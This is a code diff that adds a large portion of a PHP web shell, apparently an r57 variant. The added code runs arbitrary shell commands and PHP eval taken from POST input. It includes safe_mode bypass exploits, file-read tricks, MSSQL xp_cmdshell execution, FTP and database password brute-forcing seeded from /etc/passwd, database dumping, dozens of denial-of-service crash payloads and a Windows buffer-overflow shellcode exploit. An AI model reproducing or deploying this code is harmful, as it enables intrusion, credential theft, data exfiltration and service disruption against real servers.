+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ }else if($_POST['cmd']=="db_brute"){
+ $connection = 1;
+ }
+ if(!$connection) { err(3); $_POST['cmd'] = ""; }
+ else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "".$lang[$language.'_text96']."
"; $_POST['cmd'] = ""; }
+ else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo ""; $_POST['cmd'] = ""; }
+ if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
+ }
+
+
+echo $table_up3;
+if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir':
+
+ if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
+ {
+ foreach ($d as $file)
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ }else{$owner['name']=$grgid['name']='';}
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo @date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ }
+
+
+ elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ }else{$owner['name']=$grgid['name']='';}
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo @date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+
+ elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
+ {
+ while (false!==($file=@readdir($d)))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ }else{$owner['name']=$grgid['name']='';}
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo @date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ @closedir($d);
+ }
+
+
+ elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath'])))
+ {
+ echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n";
+ function eh($errno, $errstr, $errfile, $errline)
+ {
+ global $D, $c, $i;
+ preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
+ if($o){ $D[$c] = $o[2]; $c++;}
+ }
+ $error_reporting = @ini_get('error_reporting');
+ error_reporting(E_WARNING);
+ @ini_set("display_errors", 1);
+ @ini_alter("display_errors", 1);
+ $root = "/";
+ if($dir) $root = $dir;
+ $c = 0; $D = array();
+ @set_error_handler("eh");
+ $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ for($i=0; $i < strlen($chars); $i++)
+ {
+ $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
+ $prevD = $D[count($D)-1];
+ @glob($path."*");
+ if($D[count($D)-1] != $prevD)
+ {
+ for($j=0; $j < strlen($chars); $j++)
+ {
+ $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
+ $prevD2 = $D[count($D)-1];
+ @glob($path."*");
+ if($D[count($D)-1] != $prevD2)
+ {
+ for($p=0; $p < strlen($chars); $p++)
+ {
+ $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
+ $prevD3 = $D[count($D)-1];
+ @glob($path."*");
+ if($D[count($D)-1] != $prevD3)
+ {
+ for($r=0; $r < strlen($chars); $r++)
+ {
+ $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
+ @glob($path."*");
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ $D = array_unique($D);
+ foreach($D as $item) echo "{$item}\r\n";
+ echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
+ error_reporting($error_reporting);
+ }
+ elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath'])))
+ {
+ echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
+ if(!$dir){$dir='/etc/';};
+ if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
+ if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}
+
+
+ if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
+ if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";}
+ foreach($presets_rlph as $preset_rlph){
+ if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";}
+ }
+ for($i=0; $i < strlen($chars_rlph); $i++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=1){continue;};
+ for($j=0; $j < strlen($chars_rlph); $j++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=2){continue;};
+ for($x=0; $x < strlen($chars_rlph); $x++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=3){continue;};
+ for($y=0; $y < strlen($chars_rlph); $y++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=4){continue;};
+ for($z=0; $z < strlen($chars_rlph); $z++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";}
+ if($n_rlph<=5){continue;};
+ for($w=0; $w < strlen($chars_rlph); $w++){
+ if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
+ }
+ }
+ }
+ }
+ }
+ }
+ echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
+ }
+ else echo $lang[$language.'_text29'];
+ break;
+
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']);
+ $cf = @curl_exec($ci);
+ echo htmlspecialchars($cf);
+ break;
+ case 'test2':
+ @include($_POST['test2_file']);
+ break;
+ case 'test3':
+ if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
+ @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
+/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/
+ @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
+ $r = @mysql_query("SELECT * FROM temp_r57_table");
+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
+ @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to mysql server";
+ break;
+ case 'test4':
+ if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['test4_md'],$db))
+ {
+ @mssql_query("drop table r57_temp_table",$db);
+ @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
+ @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
+ $res = mssql_query("select * from r57_temp_table",$db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo htmlspecialchars($row[0])."\r\n";
+ }
+ @mssql_query("drop table r57_temp_table",$db);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'test5':
+ $temp=tempnam($dir, "fname");
+ if (@file_exists($temp)) @unlink($temp);
+ $extra = "-C ".$_POST['test5_file']." -X $temp";
+ @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
+ $str = moreread($temp);
+ echo htmlspecialchars($str);
+ @unlink($temp);
+ break;
+ case 'test6':
+ $stream = @imap_open('/etc/passwd', "", "");
+ $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
+ for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
+ @imap_close($stream);
+ break;
+ case 'test7':
+ $stream = @imap_open($_POST['test7_file'], "", "");
+ $str = @imap_body($stream, 1);
+ echo htmlspecialchars($str);
+ @imap_close($stream);
+ break;
+ case 'test8':
+ $temp=@tempnam($_POST['test8_file2'], "copytemp");
+ $str = readzlib($_POST['test8_file1'],$temp);
+ echo htmlspecialchars($str);
+ @unlink($temp);
+ break;
+
+ case 'test9':
+ @ini_restore("safe_mode");
+ @ini_restore("open_basedir");
+ $str = moreread($_POST['test9_file']);
+ echo htmlspecialchars($str);
+ break;
+ case 'test10':
+ @ob_clean();
+ $error_reporting = @ini_get('error_reporting');
+ error_reporting(E_ALL ^ E_NOTICE);
+ @ini_set("display_errors", 1);
+ @ini_alter("display_errors", 1);
+ $str=@fopen($_POST['test10_file'],"r");
+ while(!feof($str)){print htmlspecialchars(fgets($str));}
+ fclose($str);
+ error_reporting($error_reporting);
+ break;
+ case 'test11':
+ @ob_clean();
+ $temp = 'zip://'.$_POST['test11_file'];
+ $str = moreread($temp);
+ echo htmlspecialchars($str);
+ break;
+ case 'test12':
+ @ob_clean();
+ $temp = 'compress.bzip2://'.$_POST['test12_file'];
+ $str = moreread($temp);
+ echo htmlspecialchars($str);
+ break;
+ case 'test13':
+ @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
+ echo $lang[$language.'_text61'];
+ break;
+ case 'test14':
+ @session_save_path($_POST['test14_file2']."\0;$tempdir");
+ @session_start();
+ @$_SESSION[php]=$_POST['test14_file1'];
+ echo $lang[$language.'_text61'];
+ break;
+ case 'test15':
+ @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
+ echo $lang[$language.'_text61'];
+
+ break;
+ case 'test_5_2_6':
+echo getcwd()."\n";
+chdir($_POST['test_5_2_6']);
+echo getcwd()."\n";
+ break;
+
+
+ case 'test2_5_2_6':
+var_dump(posix_access($_POST['test15_file1']));
+
+
+ break;
+
+ case 'test_5_2_4':
+//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
+
+
+//author: shinnai
+//mail: shinnai[at]autistici[dot]org
+//site: http://shinnai.altervista.org
+
+
+//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
+
+
+//Technical details:
+//ionCube version: 6.5
+//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
+//url: www.egyspider.eu
+
+
+//php.ini settings:
+//safe_mode = On
+//disable_functions = ioncube_read_file, readfile
+
+
+//Description:
+//This is useful to obtain juicy informations but also to retrieve source
+//code of php pages, password files, etc... you just need to change file path.
+//Anyway, don't worry, nobody will read your obfuscated code :)
+
+
+//greetz to: BlackLight for help me to understand better PHP
+
+
+//P.S.
+//This extension contains even an interesting ioncube_write_file function...
+
+
+if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required! You are now can establish any order");
+
+
+$path = str_repeat("..\\", 20);
+
+
+$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
+
+
+$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
+
+
+echo $MyBoot_readfile;
+
+
+echo " ionCube output: ";
+
+
+echo $MyBoot_ioncube;
+ break;
+
+
+
+ case 'egy_perl':
+if(!extension_loaded('perl'))die('perl extension is not loaded');
+if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
+if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
+$perl=new perl();
+echo "";
+$perl->eval("system('".$_GET['cmd']."')");
+echo " ";
+$_GET['cmd']=htmlspecialchars($_GET['cmd']);
+ break;
+
+ break;
+ case 'egy_4_2_0':
+ for ($i = 0; $i < 60000; $i++)
+ {
+ if (($tab = @posix_getpwuid($i)) != NULL)
+ {
+ echo $tab['name'].":";
+ echo $tab['passwd'].":";
+ echo $tab['uid'].":";
+ echo $tab['gid'].":";
+ echo $tab['gecos'].":";
+ echo $tab['dir'].":";
+ echo $tab['shell']." ";
+ }
+ }
+ break;
+
+
+
+
+ case 'egy_5_2_3':
+//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
+
+
+//author: egy spider
+//mail: egy_spider@hotmail.com
+//site: http://egyspider.eu
+
+
+//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
+
+
+//Thanks to rgod for all his precious advises :)
+
+
+//I set php.ini in this way:
+//safe_mode = On
+//disable_functions = system
+//if you launch the exploit from the cli, cmd.exe will be wxecuted
+//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager
+
+
+if (!extension_loaded("win32std")) die("win32std extension required!");
+system("cmd.exe"); //just to be sure that protections work well
+win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
+ break;
+
+
+ break;
+
+
+ case 'test16':
+ if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
+ break;
+ case 'test17_1':
+ @unlink('symlinkread');
+ @symlink('a/a/a/a/a/a/', 'dummy');
+ @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
+ @unlink('dummy');
+ while (1)
+ {
+ @symlink('.', 'dummy');
+ @unlink('dummy');
+ }
+ break;
+ case 'test17_2':
+ $str='';
+ while (strlen($str) < 3) {
+/* $str = moreread('symlinkread');*/
+ $str = @file_get_contents('symlinkread');
+ if($str){ @ob_clean(); echo htmlspecialchars($str);}
+ }
+ break;
+ case 'test17_3':
+ $dir = $files = array();
+ if(@version_compare(@phpversion(),"5.0.0")>=0){
+ while (@count($dir) < 3) {
+ $dir=@scandir('symlinkread');
+ if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
+ }
+ }
+ else {
+ while (@count($files) < 3) {
+ $dh = @opendir('symlinkread');
+ while (false !== ($filename = @readdir($dh))) {
+ $files[] = $filename;
+ }
+ if(@count($files) > 2){@ob_clean(); @print_r($files); }
+ }
+ }
+ break;
+ case 'test18':
+ @putenv("TMPDIR=".$_POST['test18_file2']);
+ @ini_set("session.save_path", "");
+ @ini_alter("session.save_path", "");
+ @session_start();
+ @$_SESSION[php]=$_POST['test18_file1'];
+ echo $lang[$language.'_text61'];
+ break;
+ case 'test19':
+ if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; }
+ $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']);
+ if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;};
+ $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
+ $m->set_local_infile_handler("r");
+ $m->query("DROP TABLE IF EXISTS temp_r57_table");
+ $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )");
+ $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table");
+ $r = $m->query("SELECT * FROM temp_r57_table");
+ while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
+ $m->query("DROP TABLE IF EXISTS temp_r57_table");
+ $m->close();
+ break;
+ }
+}
+
+
+if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
+ $cmd_rep = ex($_POST['cmd']);
+ if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }
+}/*elseif($safe_mode){
+ $cmd_rep = safe_ex($_POST['cmd']);
+ if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }
+}
+*/
+
+
+switch($_POST['cmd'])
+{
+ case 'dos1':
+ function a() { a(); } a();
+ break;
+ case 'dos2':
+ @pack("d4294967297", 2);
+ break;
+ case 'dos3':
+ $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
+ break;
+ case 'dos4':
+ $t = array(1);while (1) {$a[] = &$t;};
+ break;
+ case 'dos5':
+ @dl("sqlite.so");$db = new SqliteDatabase("foo");
+ break;
+ case 'dos6':
+ preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
+ break;
+ case 'dos7':
+ @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
+ break;
+ case 'dos8':
+ @shell_exec("killall -11 httpd");
+ break;
+ case 'dos9':
+ function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx();
+ break;
+ case 'dos10':
+ $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
+ break;
+ case 'dos11':
+ @array_fill(1,123456789,"Infigo-IS");
+ break;
+ case 'dos12':
+ @substr_compare("A","A",12345678);
+ break;
+ case 'dos13':
+ @unserialize("a:2147483649:{");
+ break;
+ case 'dos14':
+ $Data = @str_ireplace("\n", " ", $Data);
+ break;
+ case 'dos15':
+ function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
+ $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
+ @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
+ break;
+ case 'dos16':
+ $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
+ for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
+ unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
+ break;
+ case 'dos17':
+ $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
+ $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
+ $x = "AQ ";
+ unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
+ break;
+ case 'dos18':
+ $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
+ if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
+ echo "Msg not sent because $msg_err\n";
+ if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
+ echo "$msg\n";
+ } else { echo "Received $msg_error fetching message\n"; break; }
+ @msg_remove_queue ($msg_id);
+ break;
+ case 'dos19':
+ $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
+ break;
+ case 'dos20':
+ $hashtable = str_repeat("A", 39);
+ $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
+ $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
+ $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
+ for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
+ $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
+ @unserialize($str);
+ break;
+ case 'dos21':
+ imagecreatetruecolor(1234,1073741824);
+ break;
+ case 'dos22':
+ imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
+ break;
+ case 'dos23':
+ $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b);
+ break;
+ case 'dos24':
+ setlocale(LC_COLLATE, str_repeat("A", 34438013));
+ break;
+ case 'dos25':
+ glob(str_repeat("A", 9638013));
+ break;
+ case 'dos26':
+ glob("a",-1);
+ break;
+ case 'dos27':
+ fnmatch("*[1]e", str_repeat("A", 9638013));
+ break;
+ case 'dos28':
+ if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";}
+ break;
+ case 'dos29':
+ if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');}
+ break;
+ case 'dos30':
+ $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c);
+ break;
+ case 'dos31':
+ if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
+ break;
+ case 'dos32':
+ if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
+ break;
+ case 'dos33':
+ $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
+ break;
+ case 'dos34':
+ if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);}
+ break;
+ case 'dos35':
+ $a = str_repeat("/", 4199000); iconv(1, $a, 1);
+ break;
+ case 'dos36':
+ $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
+ break;
+ case 'dos37':
+ $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
+ break;
+ case 'dos39':
+ sprintf("[%'A2147483646s]\n", "A");
+ break;
+ break;
+ case 'dos40':
+// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow
+// poc exploit (and safe_mode bypass)
+// windows 2000 sp3 en / seh overwrite
+// by rgod
+// site: http://egyspider.eu
+
+
+// u can easily adjust for php5
+// this as my little contribute to MOPB
+
+
+$____scode=
+"\xeb\x1b".
+"\x5b".
+"\x31\xc0".
+"\x50".
+"\x31\xc0".
+"\x88\x43\x59".
+"\x53".
+"\xbb\xca\x73\xe9\x77". //WinExec
+"\xff\xd3".
+"\x31\xc0".
+"\x50".
+"\xbb\x5c\xcf\xe9\x77". //ExitProcess
+"\xff\xd3".
+"\xe8\xe0\xff\xff\xff".
+"\x63\x6d\x64".
+"\x2e".
+"\x65".
+"\x78\x65".
+"\x20\x2f".
+"\x63\x20".
+"start notepad & ";
+
+
+ $eip="\xdc\xf5\x12";
+ $____suntzu=str_repeat("\x90",100);
+ $____suntzu.=$____scode;
+ $____suntzu.=str_repeat("a",2460 - strlen($____scode));
+ $____suntzu.=$eip;
+ break;
+ case 'zend':
+ if(empty($_POST['zend'])){
+} else {
+
+
+$dezend=$_POST['zend'];
+include($_POST['zend']);
+print_r($GLOBALS);
+require_once("$dezend");
+echo " ";
+}
+break;
+ case 'dos38':
+ $a = str_repeat("/", 9791999); iconv_strlen(1, $a);
+ break;
+}
+if ($_POST['cmd']=="php_eval"){
+ $eval = @str_replace("","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);}
+
+
+if ($_POST['cmd']=="ftp_brute")
+ {
+ $suc = 0;
+ if($_POST['brute_method']=='passwd'){
+ foreach($users as $user)
+ {
+ $connection = @ftp_connect($ftp_server,$ftp_port,10);
+ if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
+ else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
+ @ftp_close($connection);
+ }
+ }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
+ foreach($users as $user)
+ {
+ $connection = @ftp_connect($ftp_server,$ftp_port,10);
+ if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
+ @ftp_close($connection);
+ }
+ }
+ echo "\r\n-------------------------------------\r\n";
+ $count = count($users);
+ if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
+ echo $lang[$language.'_text97'].$count."\r\n";
+ echo $lang[$language.'_text98'].$suc."\r\n";
+ }
+
+
+if ($_POST['cmd']=="db_brute")
+ {
+ $suc = 0;
+ if($_POST['brute_method']=='passwd'){
+ foreach($users as $user)
+ {
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $user;
+ $sql->pass = $user;
+ if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
+ }
+ if(isset($_POST['reverse']))
+ {
+ foreach($users as $user)
+ {
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $user;
+ $sql->pass = strrev($user);
+ if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
+ }
+ }
+ }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
+ foreach($users as $user)
+ {
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $user;
+ if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
+ }
+ }
+ echo "\r\n-------------------------------------\r\n";
+ $count = count($users);
+ if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
+ echo $lang[$language.'_text97'].$count."\r\n";
+ echo $lang[$language.'_text98'].$suc."\r\n";
+ }
+
+
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); }
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $_POST['mysql_p'];
+ $sql->base = $_POST['mysql_db'];
+ if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
+ else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
+ else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
+ else {
